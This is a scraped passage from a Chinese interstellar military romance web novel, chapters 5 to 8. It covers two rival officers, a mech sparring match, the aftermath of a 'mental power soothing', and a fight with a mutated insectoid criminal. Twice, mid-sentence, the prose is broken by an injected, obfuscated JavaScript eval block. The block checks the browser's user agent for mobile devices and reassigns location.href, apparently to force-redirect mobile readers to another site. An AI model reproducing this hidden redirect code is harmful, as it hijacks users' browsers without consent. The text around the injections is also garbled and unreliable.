她的声音很轻,手掌拢着他的脖子,咫尺之间的距离,让他无法动弹。 蔺序然喉结下意识地微滚。 两个人从年少时期交手至今,对战次数不知有多少回,熟知彼此的招式和交战时的每一个想法。在近战无法分出胜负或者是有一方面临着打压的时候,交战的双方会变成彼此间的精神力。 两股精神力在同时顷刻间完全释放了出来。 栾绮正想要一如既往地,用自己的精神力大刀阔斧地围攻上去,突然间,面前那台机甲在她的视线下砰然向下倾倒。 栾绮:“……咦?” 她纳闷:“这是新的诱敌计策吗,长官?这可不像你的作风。” “……” 对方没有回应。 栾绮沉默住了。 她刚想开口,隔壁驾驶舱忽然发出了一连串的危险警告声,她心中一顿,退出了机甲的全息演练,解开仪器,从驾驶舱中翻身而出。在强制性地让蔺序然的驾驶舱退出全息场景之后,栾绮这才打开了他的驾驶舱,便见他微蹙着眉,肌肤泛着不正常的红,闭着眼侧仰头,沉重地呼吸着。 全息仪器的绑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184227|165442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带类似于西服衬衫的背带,还有条黑色的束带从他的胸下横过,他呼吸时,在束带下微微勒紧的胸肌起伏着。 栾绮没有任何犹豫,快速地解开这些,掰过他的脸:“……蔺序然?” 这个节骨点上,不会第二次精神力暴动吧? 对方毫无回应,只是费力地抬起眼睫,似乎意识未清醒地看了一眼她,然后重重地阖上眼睛。 栾绮颇有些怪异。但,还是拦腰将他扛在肩上,大步走出演练室,直往机甲部的治疗室而去。 机甲部治疗室的精神力治疗师是个年过四十的中年女人,正录着数据,抬头就看到栾绮扛着人三步并作两步,直接把人放在病床上,扭过头看向自己。 治疗师迅速起身,操控病床边的仪器,顿了足足好几秒之后,紧皱的眉放松下来,张嘴就是责问道:“你们两个怎么搞的?” 栾绮:“?” 治疗师说:“军校时没听过精神力安抚的理论内容吗?不知道第一次精神力安抚过后什么能做什么不能做吗?” 栾绮搜肠刮肚好一会儿,还真没想起相关的理论知识。毕竟当时的她还没想过自己有一天会给人进行精神力安抚,对她来说,记这种东西,还不如多记一点战场实操理论来得实在。 于是她摇摇头。 治疗师暗骂:“该死的……那群高层混蛋,非得将精神力安抚的相关内容当做是新生入学讲座,学生哪里会真的在乎这个,这东西应该当做是必修课来学。” 治疗师语气严厉地解释道:“第一次精神力安抚后,双方精神力处于接触阶段,接纳者通常是敏感的。你应该有事无事地让他多熟悉你的精神力,这件事要循序渐进,而不是一上来就释放出这么猛烈的精神力。这样他很容易陷入精神力依赖症,严重点会提前引发精神力暴动。” 栾绮:“……” 见她表情呆了一下,治疗师稍显耐心地叮嘱道:“小栾中校,你应该知道,不管精神力者再怎么强大,但精神力往往同一个人的神志相关联,它仍然是脆弱的。所以就算是精神力安抚,你也要好好注意一下事项,不能爽完就忘。” 栾绮这才晃过神来,深吸一口气,回道:“我知道了。” 她看了一眼病床上的蔺序然,问:“那他现在这是……?” 治疗师说:“精神力安抚后,第一次进行精神力接触,他自身的精神力对你的太敏感了而已,休息几天恢复恢复就没事了。” 她随意地抽出工作台上的一本册子,递给栾绮。 “第六章第二十条到第三十条,详细记载了精神力安抚后要做的事,你看看。” 栾绮“嗯?”了一声接过:“我看?” 治疗师见怪不怪:“你不想看,他看也行。” 栾绮:“哦。” 她拿着册子,翻开,扫了几眼,一脸面无表情地瞅向病床上的人。 然而也恰好是这瞬间,蔺序然缓缓睁开了眼,用着一双银灰色的冷漠眼眸,看着她。 5. 05 两人视线交错,一个比一个冷脸。 最终,还是蔺序然最先错开了目光。 栾绮几步走到他面前,晃着手里的册子,将它怼到他眼前,在他毫无感情的眼神下,她露出了个堪称顽劣般的淡笑。 “醒得真是不恰巧啊长官,你要是早个几分钟醒,就能听到治疗师的嘱咐。不过,这些事项,你应该有必要知道。” 她把册子放在离他眼睛距离相适的位置。纵使蔺序然不想看,可匆匆一瞥,一条事项跃然入眼—— 【第二十七条:初次精神力安抚后,双方会有一段短暂的磨合期。磨合期内,可适当地进行安抚行为,避免接纳者因敏感而造成的精神力不适症状。注意,次数请勿过多。】 短短几行字,内容看起来格外滚烫。 蔺序然蓦然垂睫:“栾绮……拿开。” 栾绮将他的反应看在眼里,不免地俯身,偏了偏脑袋,语调上扬地追问:“长官的意思是,你知道第一次精神力安抚过后,要做些什么?” 她的头发很长,随着她的动作,发尾落了下来,轻轻地垂在她的手臂上。 蔺序然盯着她的发梢,有几分松怔,但还是凝着眉,沉默了几秒,轻哑着嗓子回她:“拿开,栾绮,我自己会看。” 栾绮收起册子,随手放在他的手边,散漫地说:“遵命,长官大人。” 她顿了顿,补了句:“毕竟长官吩咐过,接下来的精神力暴动不需要我的干涉,所以,不论是有关精神力安抚的注意事项,还是打了抑制剂后要做点什么,长官一个人,可千万要当心,一定要好好研读这本手册。” 她这话乍然听像极了关怀,就连表情和语气都充满着几丝温情,可蔺序然对上她的眼睛,她那双漆黑点墨般的眼满是哂谑。 蔺序然也漠然道:“不劳费心,栾中校。” 后面两个字,他吐字颇重。 “……” 气氛微凝间,一阵敲门声打破了即将要僵化的局面。 两人循声而望,为首的卫薇莫名地站在门口,她的脸上看起来实属有些愣神,手里还半抱半拎着路成映,看到两个人往自己的方向看了过来,身子往后一退,手臂一抬推搡出来一个人。 那人身上还穿着军装,俨然是跟在蔺序然身后的副指挥官。他被卫薇推进来,硬着头皮抬头看向面前的两人,惴惴问好道:“长官,小栾、栾中校。” 栾绮朝着他点了点下巴,问好:“杨乔副官。” 然后转向卫薇,询问道:“你这是?” 卫薇毫不客气地把手里的路成映丢到隔壁空着的病床上,半倚在床沿,顾虑到有S级精神力者的压迫在,她压低了声音没好气地说:“你走后他醒了过来,之后又晕了回去。估计是在模拟室里被你这么一打击,精神力产生点波动陷入短暂的昏迷。” “——对了,治疗师呢?”她环顾四周:“怎么没见着人。” “交材料去了。” 卫薇:“怪不得。” 栾绮挑眉:“怪不得什么?” 卫薇:“……” 怪不得两个人差点打起来都没有人在劝架,她差点以为治疗师不想碰这个烂摊子中途甩手走人。 她无奈:“你说呢。” “哦,”栾绮拉长尾音,理解了她的意思,懒洋洋地说,“在担心这边少个人拉架吗?多虑了。” 她露出了个诚挚的表情:“毕竟现在这种状况,哪怕是打起来,我也算胜之不武——你说对吗,长官?” 刚蹑手蹑脚走到病床旁边的副指挥官杨乔在她的这句话落下之后,整个人激灵了一下,他看了一眼蔺序然那张无甚表情的脸,见他微微眯起眸,于是赶紧欲盖弥彰地清咳了声,在这场夹枪带棒的战争即将开战前,率先打断说道:“长官!” “您身体还行吗?演练室的驾驶舱开机不过才十来分钟,就响起了警报声,我还以为你和栾中校今天这么快就结束了。因为平常您们二位做起来忘乎所以,不论在哪,没有四十分钟往上根本下不来。” 他刚说完,就感到几道目光凝聚在自己身上。 室内因没有人出声,一夕间变得有些静默。 正当杨乔顿感浑身刺挠考虑自己是不是说错话的同时,蔺序然从病床上起身,他的身体状况看起来恢复得很快,睨了一眼杨乔,冷淡吩咐说:“好意就先领了,下次少说话。走吧。” 杨乔:“……是。” 而却在此时,两道属于终端的嗡响声乍然传开,通讯上方闪烁的军属星标显著。 这是紧急出动的标志。 栾绮收起漫不经心的表情,阔步向前,蔺序然一同在她身侧,两人一齐向机甲部的空间电梯走去。星际联邦的每个军事部门都设有空间电梯,以便于迅速往返。除了这个,空间电梯还有个作用,就是根据军属星标上所输入的位置,将人传送到该位置相近的坐标点。 只是顷刻间,两人就被传送到了相应的坐标点,刚出电梯门不过百米远,是首都星的商业区。人潮在联邦首都星警署的疏散中安全撤离,而在警署人手层层包围最中央的地方,有股不稳定的、强悍的精神力在隐隐流淌。 嘭嘭嘭几声。 层层包围的中部,磅礴的精神力猛然爆发开来,地面乍然凹陷碎裂,警署人手在这一刹那全都面露痛苦地砰然倒地 栾绮蹙了下眉。 不同于其他星的警署入选,联邦首都星的警署入选较为严苛,通常要B级精神力者往上。像这样毫不费劲且仅用精神力就将数十位B级撂倒,其中还包括几位A级,哪怕是A级精神力暴动也无法这么迅速,除非—— 但来不及多想,栾绮一抬头,就看到了一对隐泛金色的竖瞳,还有陡然间穿透衣物,从脊背处蛮横生长出来的一对巨型螯足。 ——虫化。 而且,这位虫化了的精神力者,他的精神力等级,不出意外的话,有S级。 星际联邦从成立而来至今有百余年历史,每年的人口普查都会收录各个级别的精神力者。而当下,精神力者占了联邦人口的三分之二,但在如此庞大的人数下,截至目前为止,S级精神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184228|165442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力者只出现过两人,至于A级精神力者也才不到几十万人口。 所以。 栾绮侧首:“真是稀奇,长官。研究所似乎没有公布,E-D注射剂能将精神力者的精神力等级提升至S级。” 不过,要不是S级精神力,紧急出动的标志并不会出现在他们的终端上。 蔺序然看起来在沉思,他抿了一下唇,没有说话,只是上前一步,却又听到身边之人平静开口: “你应该早点看精神力安抚注意事项。” 蔺序然脚步一顿,回头:“什么?” 栾绮慢条斯理地将披散的长发束好,表情轻松,但没什么情绪地复诵道:“第二十八条:接纳者若不慎有精神力不适症状,需暂停使用精神力两日,以避免加深不适症状从而引起的精神力依赖症。” “听明白了吗,长官?需要我重复吗。” 蔺序然倏然看她。 对方满脸淡然,在虫化的精神力者张牙舞爪冲过来的骇人螯足之下,她不动声色地抽出便捷携带的光剑柄,剑柄在她手中凝聚成覆盖着如蓝色火焰一样耀眼光芒的剑刃。 分明虫化后S级的精神力带着无与伦比的、沉重的压迫,足以让任何一个A级为之痛苦、无法战斗,她却熟视无睹,释放出来的A级精神力不亚于S级,同样带着迫人的威胁感。 她身姿敏捷,手中的光剑让眼前的对手发出扭曲的哀嚎。 蔺序然眼睫一动不动,莫名想起,初入军校时的能力检测,她的体能报告显示,体能等级达到了绝无仅有的双S级。 联邦历来最高等级只有S级,这在整个联邦,是未曾有过的。 滋啦! 虫化者的一对螯足在眨眼间断落于地上,被剑刃灼伤的断足流淌出绿色的稠液,散发着难以言喻的恶臭味。不仅仅是断裂的螯足,他的精神力也在栾绮的进攻下不堪重负。这才不到五分钟,虫化者已经奄奄一息。 残存人性的本能使他转变计策逃跑,但他被栾绮如同踩向一只虫子一般,踩住了脊背,与此同时,她的精神力毫不客气地碾压了上去。虫化者只能无力地蜷缩起身体,喉间不断发出沉重的嗬嗬声。 在这个关头,星际联邦调查署、研究所、警署等相关人员,匆匆而至。 栾绮收回精神力,挪开长靴。研究所的人员一拥而上,用仪器固定好半死不活的虫化者。 “蔺上校。” 身后调查署的年轻长官唤好了几声,蔺序然这才回过神来,恍然惊觉自己看着栾绮失神许久。 他佯装镇定地侧目,冷漠地去看那名年轻长官。对方五官深邃,身形高挑,深棕色的头发衬得他肌肤冷白,脸上端着公事公办的表情,看起来有些眼熟。 调查署长官同样冷漠地说:“蔺上校,请靠边,挡道了。” 蔺序然冷冷拧眉。 然后,他就看到这位年轻长官在看见迎面走来的栾绮时,眼里流露出的情绪异常浓烈,俊秀的脸上带着克制又不乏温和的笑意,轻声说道: “好久不见,栾绮。” 6. 06 像是被他拦住去路一般,栾绮脚步一停,打量了一下对方。半晌,她好像想起了什么,礼节性地向他颔首。 “许久不见,尤里斯。” “……” 蔺序然无声地看着相视而立的两人,眉头皱得越发紧。 他蓦然记起,军校时期,在机甲系的实战课,总会有这么一个人来找栾绮进行机甲对战。 她对待旁人总是一副温柔亲和的模样,很少会对别人露出恶劣、嘲讽的表情。所以,哪怕对方是B级精神力者,同她相比太过于弱小,交手作战无法提供过多益处,她却也很少去拒绝,甚至偶尔还会给予一个肯定的鼓励。 蔺序然眉头舒展开来,随后面无表情地挪开目光。 尤里斯的眼神几乎在发亮,他克制道:“毕业后两年未见,你还是和军校时期一样,没有什么变化。” 栾绮收回了手中的光剑:“……你也一样。” 在两人简短的寒暄中,几个研究人员和身着调查署制服的成员拿着报告向前走来。 有人捏着报告说道:“组长,资料匹配正确。嫌疑人李察·穆尔,出生于C星,E级精神力者,确认为虫化。根据刚刚提取出的血液样本数据显示,他大约在两周内注射了三十毫升的E-D注射剂,将精神力等级大幅度提升至S级。目前在他受伤的腹部发现‘污染源’结晶碎片。” 尤里斯接过报告刷啦啦地迅速翻开,合上,点头吩咐说道:“相关报告传回总部。先把人带回署里,审讯环节暂时配合研究所那帮人行动,记住,不要趁我不在,让那研究所里的老顽固把人给弄到研究所里去,我稍后再过来。对了,记得叫他们清理现场。” “是。”他们执行迅速地将虫化者扣押进专门的飞艇中。 尤里斯把视线重新放回眼前之人身上,他稍带歉意地说:“栾绮,军校毕业那几天,我原本想要联络你,感谢你对我在操控机甲上面的指导。但是,前往禁区星的战舰速度实在快得让人望尘莫及,再加上这两年,我参与了联邦调查署的秘密训练,半年前刚上任,就被指派了任务,私人终端都摸不着几次。” “哦,”栾绮应了一声,“出乎意料的一段经历,我还以为你会去机甲部就职。” 尤里斯轻轻笑了起来: “的确,我还想着去机甲部成为机甲兵,在你的辖区里与你共事。可惜,作为一个精神力不太稳定的B级精神力者,操控机甲显然不适合我。” “不过,”尤里斯继续说道,“调查署在几月前成立了与E-D注射剂事件相关的调查小组。负责人是我。随着上一次虫潮变异种的发现,最近这段日子,私底下注射过药剂的精神力者提高精神力等级、再虫化的事件越来越多。联邦有过规定,高等级精神力虫化,需要更高等级的精神力者来处理。” 尤里斯看上去有几分惴惴:“所以,栾绮,这就意味着,在调查小组存在的这段时间内,我们将会有一定机遇一起共事。” 栾绮一脸平静,只是微微笑着:“真是太巧了,很期待下次与你见面,尤里斯。” 尤里斯虚整了一下衣襟:“是。” “希望你在空闲时间,能接受我的终端通讯邀请。” 他话音刚落,终端闪烁了几下,只能遗憾道:“下次再见面,栾绮。” 尤里斯欲向飞艇走去,但碍于联邦军事礼仪,还是收起脸上的笑意,一脸平淡地冲着对侧的蔺序然说道:“告辞,蔺上校。” 然后转身离开。 “……” 蔺序然不着痕迹地抿唇,眼睫轻压,余光去瞥栾绮,就被人逮了个正着。 栾绮:“你看起来像是有话要说,长官。” 蔺序然偏首,脸上仍旧维持着往日的表情,就连说话语气也仍然毫无起伏,一板一眼地,尤为冷峻。 “没有。”他说。 栾绮正视他。 他微压着眉峰,似乎不被她的注视所打扰,银灰色的眼眸透着如金属铁器般的冷质感,极为凌厉,看人的时候总有股强烈的压迫感。 “长官,”栾绮拿出懒洋洋的腔调,“偶尔脸上也好歹摆出别的什么表情。不然的话——” 她拖长尾调,下巴点了点尤里斯刚才离开的方向:“总会接受到别人截然不同的态度。” “栾绮,”蔺序然裹在黑色皮质手套里的手指轻动,“旁人的态度与我无关。” 他几近古板地纠正道:“也与我的表情无关。” 他话语一停,旋即,在身后联邦几个部门的工作人员清理战斗现场的轻微嘈杂声中,语气跟在军事会议中展示报告一般,波澜不惊地阐述说: “从军校时,尤里斯就已经是两种态度,他对你存在着男女之情。” 栾绮:“……?” 她古怪地多看了他两眼,像是开了眼一样:“什么,你的意思是,一位B级精神力者之所以把一个S级精神力者当成空气来对待,是因为他觉得,这位S级精神力者是他情感道路上的对手?” “挺稀奇的,不是吗?”栾绮忽地礼貌一笑:“很少有人会把我们两个人之间的关系,想成是能够发展成一对密不可分的爱侣。哪怕我们做过勉强可以称之为爱人之间所做过的事。” “……栾绮。”蔺序然微不可见地缩了一下指尖:“停止你恶劣的态度。” 栾绮无所畏惧地“嗤”了声:“知道了,长官。” “还有,”她说,“你看起来有什么话没说。让我想想——” “长官,你是不是从一开始就想问,‘为什么你能把精神力安抚后的注意事项记得这么清楚呢’,对吗?” 她漆黑的眼眸异常冷静,口吻仍带着惯有的温和。 “不是。”蔺序然悄声否决。 栾绮洞悉道:“哦。不过问不问没什么意思,毕竟,长官,你应该清楚,寥寥十几条注意事项,扫一眼就能记住,却选择将它在恰到好处的时间,准确无误地告知给当事人,有什 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最近一次虫潮的变异种已经让星际联邦内部引起轩然大波,居民们在不安中也对此热议不断,更别说在星际联邦最高法院临时把E-D注射剂的贩卖定义成违法刑事行为下,仍阻挡不了灰色交易市场下注射剂的肆意流通,内外焦灼之下,这就越发地使得人心惶惶,外界更是对此万分关注。 而眼下,一位在注射剂的作用下虫化的S级精神力者,出现在首都星的商业区,这个消息赫然是洞心骇耳,记者们自然是宛如鬣狗般闻讯而来。 只是,他们来得似乎有些太迟了。联邦各部门的工作人员的现场清扫工作已经步入了收尾阶段,以至于记者们仓促报道之后,心照不宣地想要将题材转移到了不远处并立着的、星际联邦享有盛誉的两位拥有顶尖精神力的军官身上。 碍于眼前两人的身份,记者们虽跃跃欲试,却只敢问一些有的没的问题。 “栾中校,这次虫化者是你处理的,您居然可以在短短几分钟内解决掉一只S级别的虫化者,这真是太令人震撼了……商业街的高智能摄像头已经以投影的形式将您的作战姿态呈现在了星网上,不少网民都在震惊您利落的近战技术。” 栾绮扫了一眼全息摄像投影中密密麻麻往下刷的星网弹幕,笑了一下:“可以把它当做一场简单的光剑教学。最近是军校的招生期,进入星际联邦军盟学校,有的是这种教学。” 在无关紧要的提问中,也有人勇往直前地发言,喊住了即将离去的蔺序然—— “蔺上校,请等等,听说您和栾中校是同个学校同个系的同窗生。有人提到过,你们自军校开始到至今,一直以来都是剑拔弩张的氛围,是闹得不可开交的对手。但,这看起来不太像,请问真是这样吗?星网上都很好奇,为什么你和栾中校这么不对付。毕竟中校大人总是很亲切。” 7. 07 栾绮刚从浴室里出来,个人终端上,就传来了梅莉娅的通讯邀请。她顺手从低温箱内拿出营养液,并接受了对方的邀请。 传入耳边的是梅莉娅惊呼声:“天,栾绮,早知道在你那天去机甲部之后,我就不该接下公司为期一周的宣传活动拍摄项目,不然这段采访视频,我就不会在事发的第七天看到。你看看那群记者们的问出口后噤若寒蝉的表情,它可太有意思了,就该当日享受这叫人糟糕的问题。” 栾绮将喝光的营养液空管放在桌上:“你看起来像是在看乐子,梅莉娅。” “是啊,”全息投影内,梅莉娅捧着脸,大大方方地承认,“虽然这很失礼,但我的朋友,视频内的氛围的确让我乐不可支。哪怕它仅有短短的一分钟。” 她还顺手将星网上这段时隔七日,热度仍高居不下的视频播放了出来—— 直播采访的视频内,在那位记者勇敢的发言落下之后,莫名地陷进了一片诡异的沉默,就连当日原本接连不断滚动的星网弹幕都仿佛凝滞了一般。 在场的所有人,除了栾绮,全都用不安的表情看着眼前这位星际联邦中唯一一位S级精神力者,也是联邦内最年轻的上校。 提问的记者意识到自己这个问题可能过于不太恰当,于是在这窒息的氛围下,他硬着发麻的头皮,在众人虎视眈眈的眼神中,骑虎难下道: “上校大人,或许我说得有些刺耳,但我的意思是,栾中校是一位温和有礼的校官,最新一期的星网投票,她的票数拔得头筹;不论是居民们还是军人们,大家对栾中校的评价都很好。所以,你们二位之间存在着矛盾,这实在是出乎意料。” 蔺序然无言,只是目光扫了一眼站在另一边的栾绮。她的表情稍带着随意,以一种看好戏的表情看着他。 他默了下,眉眼冷冽,眼神如寒潭般凝着记者,记者打了个激灵,有些说不出话来。 蔺序然只是惯例道:“这是私事,不便透露。” 腿一跨,他坐上了磁悬浮车,留下众人面面相觑,然后齐齐回头去看栾绮。 视频内,栾绮相当自在地摊手,客气回绝:“各位,既然这件事被定义为私事,那么我也不好透露。所以,不然换个问题?” 听到她这么说,记者们也只好顺势而下,毕竟栾绮那三两下就将一只虫化者揍得进气多出气少的场景还历历在目。 “……” 梅莉娅自顾自欣赏了一遍,关掉这段视频,翘起脚说: “亲爱的,以我多段完美的交往关系来看,虽然蔺上校总是摆出一副不显山不露水的模样,可实际上听到那群记者这么夸奖你,私下一定气坏了吧。毕竟,每次星网上贬低我而去称赞我在公司的对手,我都会生好久的气。” 栾绮看着好友乐津津的样子,将脊背抵在靠椅上,慢悠悠地看着她瞧,尔后歪首轻笑了一声。 蔺序然生不生气她可不知道,她只知道,自从那天之后,他似乎在躲着自己—— 因为,这几天她不论是在指挥部还是在机甲部,亦或者是精神力研究所内,甚至连上将的突发联络会议,她都没有看到他的身影。这点确实少见。 “哎,只可惜我的精神力只有最低级的F级,”梅莉娅苦恼道,“如果达到C级,我也能向军校申请我的志愿,和你一起读军校。” “但,比起成为一名军校生,你更享受你现在的这份工作。”栾绮说:“做自己想做的,就已经很了不起了,梅莉娅。” “那么,”梅莉娅朝着她眨眨眼,“作为我‘了不起’的奖励,请问栾中校能不能告诉我,你们两人怎么会存在这种叫人难以猜测的冲突?八卦是人的天性,我实在是好奇。不只是我,星网上的网民们,到现在,还在扒你们之前的军事采访或报道,企图在里面找到蛛丝马迹。” 栾绮仰起头,屈指靠着自己的脸,不偏不倚地回道:“这并不稀奇。两个差了足足一个等级的精神力者,不论是谁,都不会想跟对方成为并列第一。作为同类人,不管是哪方,都会不甘心。” — 蔺序然在床上惊醒。 随着他起身,智能机器人打开了室内的照明系统。在这场同几日前如出一辙的、让他不适的梦里醒来,他的脸色在明亮洁白的灯光下,显然看起来有些糟糕。 蔺序然走向浴室,匆匆洗去身上那些黏/腻,冷漠地望向镜中的自己。 还是那副无甚表情的模样,银灰色的眼眸仍是带着几分不可抗拒的威严,刚换的衬衫扣子也依旧被他一丝不苟地扣到了最上方,却难以遮掩住脖颈间与这一切相违和的薄红。 自从那天回来,在两天内的精神力不适症状中,他连续两日做了同一场不可描述的、旖旎的梦。 梦里的地点是第一次精神力暴动时的禁区星治疗室。 内容则是那场精神力安抚。 但,这场梦又是不同的。 它多了许多现实中未曾发生过的细节。譬如现实内,她从始至终都是着装整齐,而梦里却是与之相反,她过长的长发同他们散落的衣物交混着,面上仍然还是那副轻挑玩味的神情,言笑晏晏却又极为强势地看他足危足八着…… ——这个姿态,他在那天,确实在她面前做过。 蔺序然看着镜子,沉重地呼吸着。 这不应该。 他进入过军事医疗系统,精神力不适症状是由敏/感造成的,那两天的不适症状,让他强烈的需要她,是在合理范围内。 可是……今天,又是为什么。 明明那次精神力安抚,只是一场应急措施。它应该是无关紧要的,而不是让他偶尔忽地想起有这件事—— 这跟回味,有什么区别。 更何况,对方是自己从军校时期就一直以来的对手,在对手面前露出那样奇怪的表情,甚至在她面前承受那种精神力与身体上同他本人而言大相径庭的体/位,这一切都太难堪了。 难堪到这些天,他跟逃避似的,不想去回想,也不想和她接触。 蔺序然闭了闭眼,他来到客厅,接过一杯水,轻抿。 智能机器人顺势将客厅内的投影 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蔺序然已然穿戴整齐,他戴好黑色皮质手套,登上飞艇,来到了精神力研究所。 研发S级精神力抑制剂的科室内,大约有不到十位研究人员。为首的研究人员见到他身着黑色军装,笔直地站在外边,于是在结束掉这个上午的最后一次实验后,来到他面前,说: “上校。” 蔺序然说道:“进度如何。” 距离他第一次精神力暴动,已经过去了半个月。 研究人员回道:“目前抑制剂的抑制率已经有百分之三十,只能对精神力暴动起到短暂的缓冲作用。不过,上校,每一支抑制剂都有它的副作用。其它精神力等级的抑制剂之所以副作用微乎其微,是因为其余等级的精神力者数量多,且精神力等级不高,副作用能够在一定时效内快速减弱。” “可对于S级精神力者来说,这显然是不同的。我们无法准确得知这支抑制剂的副作用是什么,它很可能会在缓解暴动之后,引发更严重的暴动。” 蔺序然微微皱眉。 研究人员又说:“人体的耐药程度是不同的,副作用也同理。所以,上校,我们现在需要您配合做一个耐药测试,观察时间要十分钟。” 蔺序然颔首。 研究人员送过来一支注射剂,蔺序然接过,侧脖,然后缓慢推送。 十分钟过得很快。蔺序然静站在原地,看起来没有什么不适状态,于是研究人员说道:“副作用对您并未有什么影响。” 蔺序然不置可否,又观察了几分钟,确认并未有其它症状发生,准备离开。在途经其它科室时,他听到有研究员轻声细语地说道:“小栾中校,您的精神力很稳定,很难存在暴动的情况。但就算是这样,也别掉以轻心,下个月的精神力检测,请一定按时来。” 随后,他就在拐角处看到一个熟悉的身影走了出来。 那人见了他,轻车熟路地笑着打招呼:“很不巧嘛,长官。这次你躲我,好像没有躲成功。” 8. 08 “……” 她终端上弹开的精神力报告还没有关。没有开私人模式,蔺序然能够看到上面的内容。 A级精神力者的各个指标都在正常范围内,就连附带的身体健康报告,体能与心理状况都是仅有的双S级,身体好到远超常人的同时,各方面能力也绝无仅有。 栾绮随手关掉终端,抬头看向他,不用猜就知道他来这边做什么。 “看样子,你是来看精神力抑制剂研发进展。” 蔺序然神情丝毫未动。半晌,他还是微不可闻地应了声。 栾绮语气很慢,她追问:“那么,突然躲我做什么。这几天我仔细回想了一下,我应该没有做出什么让长官不快的事情吧。” 蔺序然一阵无言。 这话她还好意思说。从两人从认识开始到现在,每逢见面,她嘴里说出来的话哪天没让人堵过心。 若是平常,蔺序然应当是神色无恙地否决。 可那个梦还依稀让他恍惚。因此,蔺序然尽量不别开眼睛,只是维持自己一贯的表情去看她,却见她微微扬起下巴,带着点戏谑说:“难不成,长官是背着我做了什么亏心事?” 蔺序然:“没有躲。” 大概是被他冷冰冰僵硬的语气逗到了,栾绮忽然笑了下,她说道:“长官,你觉得难堪的时候,总是像陀螺一样,戳一下,然后再慢慢地回一下。” 她的瞳色很黑,眼眸又很亮,专注地看人时,那股侵略性散去,总会显得格外温柔,清亮的眼瞳仿佛有着天然的蛊惑。 被她这么一说,蔺序然紧绷的弦又是一绷,他压着眉,默了足足好几秒,才找回自己的声音。 “……很违和的比喻。” 仍然是没有什么攻击性的话语,栾绮心下倒有些乐不可支。 她还是挺喜欢看他用这副压迫感十足的面容,说出这些不痛不痒的回击。 正在这时,研究所各科室的廊道处,传来了几道脚步声,同时还伴随着几声斥责。 “该死,我前几天说的话你们当屁放?不把人押在调查署,我们怎么进行下一步行动?一旦这群老顽固把人带到研究所里,我们再把人带回来就难了。等他们研究完,人什么时候死的都不知道,我说各位,你们想让我去拷问一具尸/体?” “抱歉,组长。” “有功夫说抱歉,不如把人从研究所给我弄出来。” 栾绮余光一瞥,便见尤里斯穿着星际联邦调查署的制服,身后跟着一伙人,他声色俱厉地压着嗓子骂着。 尤里斯一顿,看到了她,面上严肃的表情冲淡了不少,轻轻笑道:“栾绮。” 然后面无表情:“蔺上校。” 栾绮被他这反应弄得有些失笑,而恰好,一位年轻的研究员赶来,见到他们在,松了口气说道:“太好了,二位长官,你们还在。前些天被收进研究所的虫化者等级尚未退回到原来的F级,目前精神力波动范围较大,隔离服不起作用,无法给他戴上精神力防护器。需要你们的帮助。” 许是情况比较紧急,研究员刚说完话,就急忙引路。几人跟着她来到研究所地下最末层,远远地,就看到好几位穿着隔离服的研究员正在操控室内忙碌着。隔着操控室的一层透明玻璃前,已经完成一半虫化的虫化者有气无力地缩在禁闭的室内。 他的半身已经被虫族常规的足肢给代替,身后两只被栾绮砍断的螯足似乎在重新生长,白色的薄膜将其牢牢地包裹住。 为首的研究员是个五十来岁的女子,精神力研究所的副主任。 尤里斯和调查署的成员也都套上了隔离服,手持着调查令,单刀直入地说道:“陆副主任,我手中有调令,这名虫化者,需要先带回调查署继续审问。” 副主任早就知道他会来:“不要着急,尤里斯组长。这名虫化者的精神力等级仍旧固定在S级不变,这几天他的精神力波动较大,浓度也在不断上升,调查署可没有精神力研究所这么好的防护措施,若是这阶段贸然地带回去,恐怕会引起动乱。” 她有条不紊地说完,将目光转向栾绮:“不好意思,两位长官,需要先麻烦二位了。” 说着,她取出一套精神力防护器。 “这是最新研制的,针对S级精神力者的防护器。只不过S级精神力的样本太少,这套防护器最多起到72小时的效果。注射过E-D注射剂的注射者,所提升后的等级,哪怕维持不变,也只是虚值,就算提升至S级也不具备真正S级的能力,不确定因素太多。所以,需要蔺上校配合一下,提取S级相关的样本。” 栾绮接过那套防护器。防护器是特定材料所制,看起来像是金属的质感,但质地并不硬,摸上去颇有些皮质的感觉。给犯人用的防护器与普通人的不同,前者跟镣铐没区别,后者则是颈环。 栾绮进了关押虫化者的封闭室,许是被暴打的场景还历历在目,虫化者就算意识再怎么模糊,感受到她释放出来的精神力后,整个人在止不住地瑟缩。隔着隔离服,栾绮没几秒就将镣铐给拷上,然后退出。 她在脱掉隔离服之时,侧眸看到另一边蔺序然不动声色地抽出来的一管血液,仪器连接着他的头部,密密麻麻复杂的字符在屏幕上不断跳跃着。 过了好一会,仪器才被摘掉,蔺序然重整军服。 尤里斯在同副主任商榷着虫化者的归属,在对方无懈可击的话术下,尤里斯最终让步:“陆副主任,查明E-D注射剂的流通和兜售是刻不容缓的一件事,没有人愿意有更多的虫化者出现在联邦内部。最多两天的时间,两天后,虫化者一定要送回调查署。” 副主任得体一笑道:“当然可以,尤里斯组长。” 也算是解决了一项心头大事,尤里斯心下刚放松,扭过头想去找栾绮,没有看到人的踪影,没准是乘着电梯上去了。他没多想,带着成员离开,回到一层。 - 栾绮正准备离开精神力研究所,她顺势想了一下日程安排,晚上大概有个禁区星F区军事会议,但其实只要不是虫族突然有什么动静,这个会议大概率只会短暂地进行几分钟。 